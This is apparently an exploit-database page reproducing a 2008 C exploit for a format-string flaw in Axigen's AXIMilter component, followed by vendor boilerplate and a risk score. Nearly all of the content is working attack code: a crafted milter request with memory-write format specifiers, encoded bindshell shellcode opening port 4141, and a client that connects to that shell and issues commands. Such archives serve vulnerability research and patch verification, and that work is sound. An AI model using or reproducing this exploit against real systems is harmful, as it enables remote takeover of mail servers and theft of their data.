Lucene search
K

Axigen <= 5.0.2 AXIMilter Remote Format String Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Axigen AXIMilter Format String Exploi

Code

                                                /*
 * Axigen 5.0.x AXIMilter Format String Exploit
 *
 * by hempel (JAN 16 2008)
 *
 * thx to mu-b (digit-labs.org)
 *
 */
#include &#60;stdio.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/uio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;string.h&#62;

char buf[] = 
    &#34;FROM:\r\nEHLO:\r\nCNIP:\r\nCNPO:\r\nCNHO: &#34;
/* offsets */
    &#34;\xb8\x96\x05\x08\xb9\x96\x05\x08\xba\x96\x05\x08\xbb\x96\x05\x08&#34;
    &#34;\xbc\x96\x05\x08\xbd\x96\x05\x08\xbe\x96\x05\x08\xbf\x96\x05\x08&#34;
    &#34;\xc0\x96\x05\x08&#34;
/* format string */
    &#34;%35u%6851$n%70u%6850$hhn%47u%6846$hhn%36u%6854$hhn%31u%6853$hhn%&#34;
    &#34;17u%6852$hhn%134u%6847$hhn%111u%6848$hhn%259u%6849$hhn&#34;
    &#34;\r\nRCPT:\r\nVERI: &#34;
/* bindshell code (port 4141) */
    &#34;\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xdc&#34;
    &#34;\xc8\x06\xb7\x83\xeb\xfc\xe2\xf4\xed\x13\x55\xf4\x8f\xa2\x04\xdd&#34;
    &#34;\xba\x90\x9f\x3e\x3d\x05\x86\x21\x9f\x9a\x60\xdf\xcc\xe5\x60\xe4&#34;
    &#34;\x55\x29\x6c\xd1\x84\x98\x57\xe1\x55\x29\xcb\x37\x6c\xae\xd7\x54&#34;
    &#34;\x11\x48\x54\xe5\x8a\x8b\x8f\x56\x6c\xae\xcb\x37\x4f\xa2\x04\xee&#34;
    &#34;\x6c\xf7\xcb\x37\x95\xb1\xff\x07\xd7\x9a\x6e\x98\xf3\xbb\x6e\xdf&#34;
    &#34;\xf3\xaa\x6f\xd9\x55\x2b\x54\xe4\x55\x29\xcb\x37&#34;
    &#34;\r\nPASS:\r\n&#34;;

static int
shell_sock (char *host, int port)
{
    struct sockaddr_in addr;
    int sockfd;

    sockfd = socket(PF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        perror (&#34;socket&#34;);
	return 0;
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(host);
    addr.sin_port = htons(port);

    if (connect(sockfd, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
        perror (&#34;connect&#34;);
	return 0;
    }

    return sockfd;
}

static void
shell_run (int sockfd)
{
    int rs;
    fd_set rset;
    char rbuf[1024], *cmd = &#34;id; uname -a; uptime\n&#34;;

    write(sockfd, cmd, strlen(cmd));
 
    while (1) {
        FD_ZERO (&rset);
        FD_SET (sockfd, &rset);
        FD_SET (STDIN_FILENO, &rset);
        
	select (sockfd + 1, &rset, NULL, NULL, NULL);
	if (FD_ISSET (sockfd, &rset)) {
	    rs = read (sockfd, rbuf, sizeof(rbuf) - 1);
            if (rs &#60;= 0) {
                perror(&#34;read&#34;);
		return;
            }
	    rbuf[rs] = &#39;\0&#39;;
            printf (&#34;%s&#34;, rbuf);
        }
        
	if (FD_ISSET (STDIN_FILENO, &rset)) {
	    rs = read(STDIN_FILENO, rbuf, sizeof(rbuf) - 1);
            if (rs &#62; 0) {
        	rbuf[rs] = &#39;\0&#39;;
        	write (sockfd, rbuf, rs);
            }
        }
    }
}

int 
main(int argc, char **argv)
{
    int sockfd, port, buf_len;
    struct sockaddr_in addr;
    char *host;
    
    printf(&#34;AXIGEN 5.0.x AXIMilter format string Exploit by hempel\n&#34;);
    
    if (argc &#60; 2) {
	printf(&#34;%s host port\n&#34;, *argv);
	return 0;
    }
    
    host = argv[1];
    port = atoi(argv[2]);
        
    sockfd = socket(PF_INET, SOCK_STREAM, 0);
    if(sockfd == -1) {
	perror(&#34;socket&#34;);
	return -1;
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(host);
    addr.sin_port = htons(port);
    
    if (connect(sockfd, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
	perror(&#34;connect&#34;);
	return -1;
    }
    
    buf_len = sizeof(buf) - 1;
    if (write(sockfd, buf, buf_len) == -1) {
	perror(&#34;write&#34;);
	return -1;
    }    
    close(sockfd);

    printf(&#34;trying shell at %s:4141 ...&#34;, host);
    fflush(stdout);
    sockfd = shell_sock(host, 4141);
    if (sockfd) {
	printf(&#34;w00t!\n&#34;);
	shell_run(sockfd);
    } else {
	printf(&#34;nope!\n&#34;);
    }
    
    return 0;
}

// milw0rm.com [2008-01-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
9